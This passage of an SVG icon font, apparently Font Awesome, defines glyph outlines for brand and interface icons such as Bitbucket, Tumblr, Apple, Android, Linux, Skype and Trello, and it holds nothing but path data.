t-71 12.5q-291 47 -566 -2q-43 -7 -66 -12t-55 -22t-50 -43q30 -28 76 -45.5t73.5 -22t87.5 -11.5q228 -29 448 -1q63 8 89.5 12t72.5 21.5t75 46.5zM1222 205q-8 -26 -15.5 -76.5t-14 -84t-28.5 -70t-58 -56.5q-86 -48 -189.5 -71.5t-202 -22t-201.5 18.5q-46 8 -81.5 18
t-76.5 27t-73 43.5t-52 61.5q-25 96 -57 292l6 16l18 9q223 -148 506.5 -148t507.5 148q21 -6 24 -23t-5 -45t-8 -37zM1403 1166q-26 -167 -111 -655q-5 -30 -27 -56t-43.5 -40t-54.5 -31q-252 -126 -610 -88q-248 27 -394 139q-15 12 -25.5 26.5t-17 35t-9 34t-6 39.5
t-5.5 35q-9 50 -26.5 150t-28 161.5t-23.5 147.5t-22 158q3 26 17.5 48.5t31.5 37.5t45 30t46 22.5t48 18.5q125 46 313 64q379 37 676 -50q155 -46 215 -122q16 -20 16.5 -51t-5.5 -54z" />
    <glyph glyph-name="bitbucket_sign" unicode="&#xf172;" 
d="M848 666q0 43 -41 66t-77 1q-43 -20 -42.5 -72.5t43.5 -70.5q39 -23 81 4t36 72zM928 682q8 -66 -36 -121t-110 -61t-119 40t-56 113q-2 49 25.5 93t72.5 64q70 31 141.5 -10t81.5 -118zM1100 1073q-20 -21 -53.5 -34t-53 -16t-63.5 -8q-155 -20 -324 0q-44 6 -63 9.5
t-52.5 16t-54.5 32.5q13 19 36 31t40 15.5t47 8.5q198 35 408 1q33 -5 51 -8.5t43 -16t39 -31.5zM1142 327q0 7 5.5 26.5t3 32t-17.5 16.5q-161 -106 -365 -106t-366 106l-12 -6l-5 -12q26 -154 41 -210q47 -81 204 -108q249 -46 428 53q34 19 49 51.5t22.5 85.5t12.5 71z
M1272 1020q9 53 -8 75q-43 55 -155 88q-216 63 -487 36q-132 -12 -226 -46q-38 -15 -59.5 -25t-47 -34t-29.5 -54q8 -68 19 -138t29 -171t24 -137q1 -5 5 -31t7 -36t12 -27t22 -28q105 -80 284 -100q259 -28 440 63q24 13 39.5 23t31 29t19.5 40q48 267 80 473zM1536 1120
v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="tumblr" unicode="&#xf173;" horiz-adv-x="1024" 
d="M944 207l80 -237q-23 -35 -111 -66t-177 -32q-104 -2 -190.5 26t-142.5 74t-95 106t-55.5 120t-16.5 118v544h-168v215q72 26 129 69.5t91 90t58 102t34 99t15 88.5q1 5 4.5 8.5t7.5 3.5h244v-424h333v-252h-334v-518q0 -30 6.5 -56t22.5 -52.5t49.5 -41.5t81.5 -14
q78 2 134 29z" />
    <glyph glyph-name="tumblr_sign" unicode="&#xf174;" 
d="M1136 75l-62 183q-44 -22 -103 -22q-36 -1 -62 10.5t-38.5 31.5t-17.5 40.5t-5 43.5v398h257v194h-256v326h-188q-8 0 -9 -10q-5 -44 -17.5 -87t-39 -95t-77 -95t-118.5 -68v-165h130v-418q0 -57 21.5 -115t65 -111t121 -85.5t176.5 -30.5q69 1 136.5 25t85.5 50z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="long_arrow_down" unicode="&#xf175;" horiz-adv-x="768" 
d="M765 237q8 -19 -5 -35l-350 -384q-10 -10 -23 -10q-14 0 -24 10l-355 384q-13 16 -5 35q9 19 29 19h224v1248q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1248h224q21 0 29 -19z" />
    <glyph glyph-name="long_arrow_up" unicode="&#xf176;" horiz-adv-x="768" 
d="M765 1043q-9 -19 -29 -19h-224v-1248q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1248h-224q-21 0 -29 19t5 35l350 384q10 10 23 10q14 0 24 -10l355 -384q13 -16 5 -35z" />
    <glyph glyph-name="long_arrow_left" unicode="&#xf177;" horiz-adv-x="1792" 
d="M1792 736v-192q0 -14 -9 -23t-23 -9h-1248v-224q0 -21 -19 -29t-35 5l-384 350q-10 10 -10 23q0 14 10 24l384 354q16 14 35 6q19 -9 19 -29v-224h1248q14 0 23 -9t9 -23z" />
    <glyph glyph-name="long_arrow_right" unicode="&#xf178;" horiz-adv-x="1792" 
d="M1728 643q0 -14 -10 -24l-384 -354q-16 -14 -35 -6q-19 9 -19 29v224h-1248q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h1248v224q0 21 19 29t35 -5l384 -350q10 -10 10 -23z" />
    <glyph glyph-name="apple" unicode="&#xf179;" horiz-adv-x="1408" 
d="M1393 321q-39 -125 -123 -250q-129 -196 -257 -196q-49 0 -140 32q-86 32 -151 32q-61 0 -142 -33q-81 -34 -132 -34q-152 0 -301 259q-147 261 -147 503q0 228 113 374q113 144 284 144q72 0 177 -30q104 -30 138 -30q45 0 143 34q102 34 173 34q119 0 213 -65
q52 -36 104 -100q-79 -67 -114 -118q-65 -94 -65 -207q0 -124 69 -223t158 -126zM1017 1494q0 -61 -29 -136q-30 -75 -93 -138q-54 -54 -108 -72q-37 -11 -104 -17q3 149 78 257q74 107 250 148q1 -3 2.5 -11t2.5 -11q0 -4 0.5 -10t0.5 -10z" />
    <glyph glyph-name="windows" unicode="&#xf17a;" horiz-adv-x="1664" 
d="M682 530v-651l-682 94v557h682zM682 1273v-659h-682v565zM1664 530v-786l-907 125v661h907zM1664 1408v-794h-907v669z" />
    <glyph glyph-name="android" unicode="&#xf17b;" horiz-adv-x="1408" 
d="M493 1053q16 0 27.5 11.5t11.5 27.5t-11.5 27.5t-27.5 11.5t-27 -11.5t-11 -27.5t11 -27.5t27 -11.5zM915 1053q16 0 27 11.5t11 27.5t-11 27.5t-27 11.5t-27.5 -11.5t-11.5 -27.5t11.5 -27.5t27.5 -11.5zM103 869q42 0 72 -30t30 -72v-430q0 -43 -29.5 -73t-72.5 -30
t-73 30t-30 73v430q0 42 30 72t73 30zM1163 850v-666q0 -46 -32 -78t-77 -32h-75v-227q0 -43 -30 -73t-73 -30t-73 30t-30 73v227h-138v-227q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73l-1 227h-74q-46 0 -78 32t-32 78v666h918zM931 1255q107 -55 171 -153.5t64 -215.5
h-925q0 117 64 215.5t172 153.5l-71 131q-7 13 5 20q13 6 20 -6l72 -132q95 42 201 42t201 -42l72 132q7 12 20 6q12 -7 5 -20zM1408 767v-430q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73v430q0 43 30 72.5t72 29.5q43 0 73 -29.5t30 -72.5z" />
    <glyph glyph-name="linux" unicode="&#xf17c;" 
d="M663 1125q-11 -1 -15.5 -10.5t-8.5 -9.5q-5 -1 -5 5q0 12 19 15h10zM750 1111q-4 -1 -11.5 6.5t-17.5 4.5q24 11 32 -2q3 -6 -3 -9zM399 684q-4 1 -6 -3t-4.5 -12.5t-5.5 -13.5t-10 -13q-10 -11 -1 -12q4 -1 12.5 7t12.5 18q1 3 2 7t2 6t1.5 4.5t0.5 4v3t-1 2.5t-3 2z
M1254 325q0 18 -55 42q4 15 7.5 27.5t5 26t3 21.5t0.5 22.5t-1 19.5t-3.5 22t-4 20.5t-5 25t-5.5 26.5q-10 48 -47 103t-72 75q24 -20 57 -83q87 -162 54 -278q-11 -40 -50 -42q-31 -4 -38.5 18.5t-8 83.5t-11.5 107q-9 39 -19.5 69t-19.5 45.5t-15.5 24.5t-13 15t-7.5 7
q-14 62 -31 103t-29.5 56t-23.5 33t-15 40q-4 21 6 53.5t4.5 49.5t-44.5 25q-15 3 -44.5 18t-35.5 16q-8 1 -11 26t8 51t36 27q37 3 51 -30t4 -58q-11 -19 -2 -26.5t30 -0.5q13 4 13 36v37q-5 30 -13.5 50t-21 30.5t-23.5 15t-27 7.5q-107 -8 -89 -134q0 -15 -1 -15
q-9 9 -29.5 10.5t-33 -0.5t-15.5 5q1 57 -16 90t-45 34q-27 1 -41.5 -27.5t-16.5 -59.5q-1 -15 3.5 -37t13 -37.5t15.5 -13.5q10 3 16 14q4 9 -7 8q-7 0 -15.5 14.5t-9.5 33.5q-1 22 9 37t34 14q17 0 27 -21t9.5 -39t-1.5 -22q-22 -15 -31 -29q-8 -12 -27.5 -23.5
t-20.5 -12.5q-13 -14 -15.5 -27t7.5 -18q14 -8 25 -19.5t16 -19t18.5 -13t35.5 -6.5q47 -2 102 15q2 1 23 7t34.5 10.5t29.5 13t21 17.5q9 14 20 8q5 -3 6.5 -8.5t-3 -12t-16.5 -9.5q-20 -6 -56.5 -21.5t-45.5 -19.5q-44 -19 -70 -23q-25 -5 -79 2q-10 2 -9 -2t17 -19
q25 -23 67 -22q17 1 36 7t36 14t33.5 17.5t30 17t24.5 12t17.5 2.5t8.5 -11q0 -2 -1 -4.5t-4 -5t-6 -4.5t-8.5 -5t-9 -4.5t-10 -5t-9.5 -4.5q-28 -14 -67.5 -44t-66.5 -43t-49 -1q-21 11 -63 73q-22 31 -25 22q-1 -3 -1 -10q0 -25 -15 -56.5t-29.5 -55.5t-21 -58t11.5 -63
q-23 -6 -62.5 -90t-47.5 -141q-2 -18 -1.5 -69t-5.5 -59q-8 -24 -29 -3q-32 31 -36 94q-2 28 4 56q4 19 -1 18q-2 -1 -4 -5q-36 -65 10 -166q5 -12 25 -28t24 -20q20 -23 104 -90.5t93 -76.5q16 -15 17.5 -38t-14 -43t-45.5 -23q8 -15 29 -44.5t28 -54t7 -70.5q46 24 7 92
q-4 8 -10.5 16t-9.5 12t-2 6q3 5 13 9.5t20 -2.5q46 -52 166 -36q133 15 177 87q23 38 34 30q12 -6 10 -52q-1 -25 -23 -92q-9 -23 -6 -37.5t24 -15.5q3 19 14.5 77t13.5 90q2 21 -6.5 73.5t-7.5 97t23 70.5q15 18 51 18q1 37 34.5 53t72.5 10.5t60 -22.5zM626 1152
q3 17 -2.5 30t-11.5 15q-9 2 -9 -7q2 -5 5 -6q10 0 7 -15q-3 -20 8 -20q3 0 3 3zM1045 955q-2 8 -6.5 11.5t-13 5t-14.5 5.5q-5 3 -9.5 8t-7 8t-5.5 6.5t-4 4t-4 -1.5q-14 -16 7 -43.5t39 -31.5q9 -1 14.5 8t3.5 20zM867 1168q0 11 -5 19.5t-11 12.5t-9 3q-6 0 -8 -2t0 -4
t5 -3q14 -4 18 -31q0 -3 8 2q2 2 2 3zM921 1401q0 2 -2.5 5t-9 7t-9.5 6q-15 15 -24 15q-9 -1 -11.5 -7.5t-1 -13t-0.5 -12.5q-1 -4 -6 -10.5t-6 -9t3 -8.5q4 -3 8 0t11 9t15 9q1 1 9 1t15 2t9 7zM1486 60q20 -12 31 -24.5t12 -24t-2.5 -22.5t-15.5 -22t-23.5 -19.5
t-30 -18.5t-31.5 -16.5t-32 -15.5t-27 -13q-38 -19 -85.5 -56t-75.5 -64q-17 -16 -68 -19.5t-89 14.5q-18 9 -29.5 23.5t-16.5 25.5t-22 19.5t-47 9.5q-44 1 -130 1q-19 0 -57 -1.5t-58 -2.5q-44 -1 -79.5 -15t-53.5 -30t-43.5 -28.5t-53.5 -11.5q-29 1 -111 31t-146 43
q-19 4 -51 9.5t-50 9t-39.5 9.5t-33.5 14.5t-17 19.5q-10 23 7 66.5t18 54.5q1 16 -4 40t-10 42.5t-4.5 36.5t10.5 27q14 12 57 14t60 12q30 18 42 35t12 51q21 -73 -32 -106q-32 -20 -83 -15q-34 3 -43 -10q-13 -15 5 -57q2 -6 8 -18t8.5 -18t4.5 -17t1 -22q0 -15 -17 -49
t-14 -48q3 -17 37 -26q20 -6 84.5 -18.5t99.5 -20.5q24 -6 74 -22t82.5 -23t55.5 -4q43 6 64.5 28t23 48t-7.5 58.5t-19 52t-20 36.5q-121 190 -169 242q-68 74 -113 40q-11 -9 -15 15q-3 16 -2 38q1 29 10 52t24 47t22 42q8 21 26.5 72t29.5 78t30 61t39 54
q110 143 124 195q-12 112 -16 310q-2 90 24 151.5t106 104.5q39 21 104 21q53 1 106 -13.5t89 -41.5q57 -42 91.5 -121.5t29.5 -147.5q-5 -95 30 -214q34 -113 133 -218q55 -59 99.5 -163t59.5 -191q8 -49 5 -84.5t-12 -55.5t-20 -22q-10 -2 -23.5 -19t-27 -35.5
t-40.5 -33.5t-61 -14q-18 1 -31.5 5t-22.5 13.5t-13.5 15.5t-11.5 20.5t-9 19.5q-22 37 -41 30t-28 -49t7 -97q20 -70 1 -195q-10 -65 18 -100.5t73 -33t85 35.5q59 49 89.5 66.5t103.5 42.5q53 18 77 36.5t18.5 34.5t-25 28.5t-51.5 23.5q-33 11 -49.5 48t-15 72.5
t15.5 47.5q1 -31 8 -56.5t14.5 -40.5t20.5 -28.5t21 -19t21.5 -13t16.5 -9.5z" />
    <glyph glyph-name="dribble" unicode="&#xf17d;" 
d="M1024 36q-42 241 -140 498h-2l-2 -1q-16 -6 -43 -16.5t-101 -49t-137 -82t-131 -114.5t-103 -148l-15 11q184 -150 418 -150q132 0 256 52zM839 643q-21 49 -53 111q-311 -93 -673 -93q-1 -7 -1 -21q0 -124 44 -236.5t124 -201.5q50 89 123.5 166.5t142.5 124.5t130.5 81
t99.5 48l37 13q4 1 13 3.5t13 4.5zM732 855q-120 213 -244 378q-138 -65 -234 -186t-128 -272q302 0 606 80zM1416 536q-210 60 -409 29q87 -239 128 -469q111 75 185 189.5t96 250.5zM611 1277q-1 0 -2 -1q1 1 2 1zM1201 1132q-185 164 -433 164q-76 0 -155 -19
q131 -170 246 -382q69 26 130 60.5t96.5 61.5t65.5 57t37.5 40.5zM1424 647q-3 232 -149 410l-1 -1q-9 -12 -19 -24.5t-43.5 -44.5t-71 -60.5t-100 -65t-131.5 -64.5q25 -53 44 -95q2 -5 6.5 -17t7.5 -17q36 5 74.5 7t73.5 2t69 -1.5t64 -4t56.5 -5.5t48 -6.5t36.5 -6
t25 -4.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="skype" unicode="&#xf17e;" 
d="M1173 473q0 50 -19.5 91.5t-48.5 68.5t-73 49t-82.5 34t-87.5 23l-104 24q-30 7 -44 10.5t-35 11.5t-30 16t-16.5 21t-7.5 30q0 77 144 77q43 0 77 -12t54 -28.5t38 -33.5t40 -29t48 -12q47 0 75.5 32t28.5 77q0 55 -56 99.5t-142 67.5t-182 23q-68 0 -132 -15.5
t-119.5 -47t-89 -87t-33.5 -128.5q0 -61 19 -106.5t56 -75.5t80 -48.5t103 -32.5l146 -36q90 -22 112 -36q32 -20 32 -60q0 -39 -40 -64.5t-105 -25.5q-51 0 -91.5 16t-65 38.5t-45.5 45t-46 38.5t-54 16q-50 0 -75.5 -30t-25.5 -75q0 -92 122 -157.5t291 -65.5
q73 0 140 18.5t122.5 53.5t88.5 93.5t33 131.5zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5q-130 0 -234 80q-77 -16 -150 -16q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5q0 73 16 150q-80 104 -80 234q0 159 112.5 271.5t271.5 112.5q130 0 234 -80
q77 16 150 16q143 0 273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -73 -16 -150q80 -104 80 -234z" />
    <glyph glyph-name="foursquare" unicode="&#xf180;" horiz-adv-x="1280" 
d="M1000 1102l37 194q5 23 -9 40t-35 17h-712q-23 0 -38.5 -17t-15.5 -37v-1101q0 -7 6 -1l291 352q23 26 38 33.5t48 7.5h239q22 0 37 14.5t18 29.5q24 130 37 191q4 21 -11.5 40t-36.5 19h-294q-29 0 -48 19t-19 48v42q0 29 19 47.5t48 18.5h346q18 0 35 13.5t20 29.5z
M1227 1324q-15 -73 -53.5 -266.5t-69.5 -350t-35 -173.5q-6 -22 -9 -32.5t-14 -32.5t-24.5 -33t-38.5 -21t-58 -10h-271q-13 0 -22 -10q-8 -9 -426 -494q-22 -25 -58.5 -28.5t-48.5 5.5q-55 22 -55 98v1410q0 55 38 102.5t120 47.5h888q95 0 127 -53t10 -159zM1227 1324
l-158 -790q4 17 35 173.5t69.5 350t53.5 266.5z" />
    <glyph glyph-name="trello" unicode="&#xf181;" 
d="M704 192v1024q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-1024q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1376 576v640q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-640q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408
q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="female" unicode="&#xf182;" horiz-adv-x="1280" 
d="M1280 480q0 -40 -28 -68t-68 -28q-51 0 -80 43l-227 341h-45v-132l247 -411q9 -15 9 -33q0 -26 -19 -45t-45 -19h-192v-272q0 -46 -33 -79t-79 -33h-160q-46 0 -79 33t-33 79v272h-192q-26 0 -45 19t-19 45q0 18 9 33l247 411v132h-45l-227 -341q-29 -43 -80 -43
q-40 0 -68 28t-28 68q0 29 16 53l256 384q73 107 176 107h384q103 0 176 -107l256 -384q16 -24 16 -53zM864 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="male" unicode="&#xf183;" horiz-adv-x="1024" 
d="M1024 832v-416q0 -40 -28 -68t-68 -28t-68 28t-28 68v352h-64v-912q0 -46 -33 -79t-79 -33t-79 33t-33 79v464h-64v-464q0 -46 -33 -79t-79 -33t-79 33t-33 79v912h-64v-352q0 -40 -28 -68t-68 -28t-68 28t-28 68v416q0 80 56 136t136 56h640q80 0 136 -56t56 -136z
M736 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="gittip" unicode="&#xf184;" 
d="M773 234l350 473q16 22 24.5 59t-6 85t-61.5 79q-40 26 -83 25.5t-73.5 -17.5t-54.5 -45q-36 -40 -96 -40q-59 0 -95 40q-24 28 -54.5 45t-73.5 17.5t-84 -25.5q-46 -31 -60.5 -79t-6 -85t24.5 -59zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="sun" unicode="&#xf185;" horiz-adv-x="1792" 
d="M1472 640q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5t45.5 -223.5t123 -184t184 -123t223.5 -45.5t223.5 45.5t184 123t123 184t45.5 223.5zM1748 363q-4 -15 -20 -20l-292 -96v-306q0 -16 -13 -26q-15 -10 -29 -4
l-292 94l-180 -248q-10 -13 -26 -13t-26 13l-180 248l-292 -94q-14 -6 -29 4q-13 10 -13 26v306l-292 96q-16 5 -20 20q-5 17 4 29l180 248l-180 248q-9 13 -4 29q4 15 20 20l292 96v306q0 16 13 26q15 10 29 4l292 -94l180 248q9 12 26 12t26 -12l180 -248l292 94
q14 6 29 -4q13 -10 13 -26v-306l292 -96q16 -5 20 -20q5 -16 -4 -29l-180 -248l180 -248q9 -12 4 -29z" />
    <glyph glyph-name="_366" unicode="&#xf186;" 
d="M1262 233q-54 -9 -110 -9q-182 0 -337 90t-245 245t-90 337q0 192 104 357q-201 -60 -328.5 -229t-127.5 -384q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51q144 0 273.5 61.5t220.5 171.5zM1465 318q-94 -203 -283.5 -324.5t-413.5 -121.5q-156 0 -298 61
t-245 164t-164 245t-61 298q0 153 57.5 292.5t156 241.5t235.5 164.5t290 68.5q44 2 61 -39q18 -41 -15 -72q-86 -78 -131.5 -181.5t-45.5 -218.5q0 -148 73 -273t198 -198t273 -73q118 0 228 51q41 18 72 -13q14 -14 17.5 -34t-4.5 -38z" />
    <glyph glyph-name="archive" unicode="&#xf187;" horiz-adv-x="1792" 
d="M1088 704q0 26 -19 45t-45 19h-256q-26 0 -45 -19t-19 -45t19 -45t45 -19h256q26 0 45 19t19 45zM1664 896v-960q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v960q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1728 1344v-256q0 -26 -19 -45t-45 -19h-1536
q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1536q26 0 45 -19t19 -45z" />
    <glyph glyph-name="bug" unicode="&#xf188;" horiz-adv-x="1664" 
d="M1632 576q0 -26 -19 -45t-45 -19h-224q0 -171 -67 -290l208 -209q19 -19 19 -45t-19 -45q-18 -19 -45 -19t-45 19l-198 197q-5 -5 -15 -13t-42 -28.5t-65 -36.5t-82 -29t-97 -13v896h-128v-896q-51 0 -101.5 13.5t-87 33t-66 39t-43.5 32.5l-15 14l-183 -207
q-20 -21 -48 -21q-24 0 -43 16q-19 18 -20.5 44.5t15.5 46.5l202 227q-58 114 -58 274h-224q-26 0 -45 19t-19 45t19 45t45 19h224v294l-173 173q-19 19 -19 45t19 45t45 19t45 -19l173 -173h844l173 173q19 19 45 19t45 -19t19 -45t-19 -45l-173 -173v-294h224q26 0 45 -19
t19 -45zM1152 1152h-640q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5z" />
    <glyph glyph-name="vk" unicode="&#xf189;" horiz-adv-x="1920" 
d="M1917 1016q23 -64 -150 -294q-24 -32 -65 -85q-40 -51 -55 -72t-30.5 -49.5t-12 -42t13 -34.5t32.5 -43t57 -53q4 -2 5 -4q141 -131 191 -221q3 -5 6.5 -12.5t7 -26.5t-0.5 -34t-25 -27.5t-59 -12.5l-256 -4q-24 -5 -56 5t-52 22l-20 12q-30 21 -70 64t-68.5 77.5t-61 58
t-56.5 15.5q-3 -1 -8 -3.5t-17 -14.5t-21.5 -29.5t-17 -52t-6.5 -77.5q0 -15 -3.5 -27.5t-7.5 -18.5l-4 -5q-18 -19 -53 -22h-115q-71 -4 -146 16.5t-131.5 53t-103 66t-70.5 57.5l-25 24q-10 10 -27.5 30t-71.5 91t-106 151t-122.5 211t-130.5 272q-6 16 -6 27t3 16l4 6
q15 19 57 19l274 2q12 -2 23 -6.5t16 -8.5l5 -3q16 -11 24 -32q20 -50 46 -103.5t41 -81.5l16 -29q29 -60 56 -104t48.5 -68.5t41.5 -38.5t34 -14t27 5q2 1 5 5t12 22t13.5 47t9.5 81t0 125q-2 40 -9 73t-14 46l-6 12q-25 34 -85 43q-13 2 5 24q16 19 38 30q53 26 239 24
q82 -1 135 -13q20 -5 33.5 -13.5t20.5 -24t10.5 -32t3.5 -45.5t-1 -55t-2.5 -70.5t-1.5 -82.5q0 -11 -1 -42t-0.5 -48t3.5 -40.5t11.5 -39t22.5 -24.5q8 -2 17 -4t26 11t38 34.5t52 67t68 107.5q60 104 107 225q4 10 10 17.5t11 10.5l4 3l5 2.5t13 3t20 0.5l288 2
q39 5 64 -2.5t31 -16.5z" />
    <glyph glyph-name="weibo" unicode="&#xf18a;" horiz-adv-x="1792" 
d="M675 252q21 34 11 69t-45 50q-34 14 -73 1t-60 -46q-22 -34 -13 -68.5t43 -50.5t74.5 -2.5t62.5 47.5zM769 373q8 13 3.5 26.5t-17.5 18.5q-14 5 -28.5 -0.5t-21.5 -18.5q-17 -31 13 -45q14 -5 29 0.5t22 18.5zM943 266q-45 -102 -158 -150t-224 -12
q-107 34 -147.5 126.5t6.5 187.5q47 93 151.5 139t210.5 19q111 -29 158.5 -119.5t2.5 -190.5zM1255 426q-9 96 -89 170t-208.5 109t-274.5 21q-223 -23 -369.5 -141.5t-132.5 -264.5q9 -96 89 -170t208.5 -109t274.5 -21q223 23 369.5 141.5t132.5 264.5zM1563 422
q0 -68 -37 -139.5t-109 -137t-168.5 -117.5t-226 -83t-270.5 -31t-275 33.5t-240.5 93t-171.5 151t-65 199.5q0 115 69.5 245t197.5 258q169 169 341.5 236t246.5 -7q65 -64 20 -209q-4 -14 -1 -20t10 -7t14.5 0.5t13.5 3.5l6 2q139 59 246 59t153 -61q45 -63 0 -178
q-2 -13 -4.5 -20t4.5 -12.5t12 -7.5t17 -6q57 -18 103 -47t80 -81.5t34 -116.5zM1489 1046q42 -47 54.5 -108.5t-6.5 -117.5q-8 -23 -29.5 -34t-44.5 -4q-23 8 -34 29.5t-4 44.5q20 63 -24 111t-107 35q-24 -5 -45 8t-25 37q-5 24 8 44.5t37 25.5q60 13 119 -5.5t101 -65.5z
M1670 1209q87 -96 112.5 -222.5t-13.5 -241.5q-9 -27 -34 -40t-52 -4t-40 34t-5 52q28 82 10 172t-80 158q-62 69 -148 95.5t-173 8.5q-28 -6 -52 9.5t-30 43.5t9.5 51.5t43.5 29.5q123 26 244 -11.5t208 -134.5z" />
    <glyph glyph-name="renren" unicode="&#xf18b;" 
d="M1133 -34q-171 -94 -368 -94q-196 0 -367 94q138 87 235.5 211t131.5 268q35 -144 132.5 -268t235.5 -211zM638 1394v-485q0 -252 -126.5 -459.5t-330.5 -306.5q-181 215 -181 495q0 187 83.5 349.5t229.5 269.5t325 137zM1536 638q0 -280 -181 -495
q-204 99 -330.5 306.5t-126.5 459.5v485q179 -30 325 -137t229.5 -269.5t83.5 -349.5z" />
    <glyph glyph-name="_372" unicode="&#xf18c;" horiz-adv-x="1408" 
d="M1402 433q-32 -80 -76 -138t-91 -88.5t-99 -46.5t-101.5 -14.5t-96.5 8.5t-86.5 22t-69.5 27.5t-46 22.5l-17 10q-113 -228 -289.5 -359.5t-384.5 -132.5q-19 0 -32 13t-13 32t13 31.5t32 12.5q173 1 322.5 107.5t251.5 294.5q-36 -14 -72 -23t-83 -13t-91 2.5t-93 28.5
t-92 59t-84.5 100t-74.5 146q114 47 214 57t167.5 -7.5t124.5 -56.5t88.5 -77t56.5 -82q53 131 79 291q-7 -1 -18 -2.5t-46.5 -2.5t-69.5 0.5t-81.5 10t-88.5 23t-84 42.5t-75 65t-54.5 94.5t-28.5 127.5q70 28 133.5 36.5t112.5 -1t92 -30t73.5 -50t56 -61t42 -63t27.5 -56
t16 -39.5l4 -16q12 122 12 195q-8 6 -21.5 16t-49 44.5t-63.5 71.5t-54 93t-33 112.5t12 127t70 138.5q73 -25 127.5 -61.5t84.5 -76.5t48 -85t20.5 -89t-0.5 -85.5t-13 -76.5t-19 -62t-17 -42l-7 -15q1 -4 1 -50t-1 -72q3 7 10 18.5t30.5 43t50.5 58t71 55.5t91.5 44.5
t112 14.5t132.5 -24q-2 -78 -21.5 -141.5t-50 -104.5t-69.5 -71.5t-81.5 -45.5t-84.5 -24t-80 -9.5t-67.5 1t-46.5 4.5l-17 3q-23 -147 -73 -283q6 7 18 18.5t49.5 41t77.5 52.5t99.5 42t117.5 20t129 -23.5t137 -77.5z" />
    <glyph glyph-name="stack_exchange" unicode="&#xf18d;" horiz-adv-x="1280" 
d="M1259 283v-66q0 -85 -57.5 -144.5t-138.5 -59.5h-57l-260 -269v269h-529q-81 0 -138.5 59.5t-57.5 144.5v66h1238zM1259 609v-255h-1238v255h1238zM1259 937v-255h-1238v255h1238zM1259 1077v-67h-1238v67q0 84 57.5 143.5t138.5 59.5h846q81 0 138.5 -59.5t57.5 -143.5z
" />
    <glyph glyph-name="_374" unicode="&#xf18e;" 
d="M1152 640q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="arrow_circle_alt_left" unicode="&#xf190;" 
d="M1152 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-192q0 -14 -9 -23t-23 -9q-12 0 -24 10l-319 319q-9 9 -9 23t9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h352q13 0 22.5 -9.5t9.5 -22.5zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_376" unicode="&#xf191;" 
d="M1024 960v-640q0 -26 -19 -45t-45 -19q-20 0 -37 12l-448 320q-27 19 -27 52t27 52l448 320q17 12 37 12q26 0 45 -19t19 -45zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
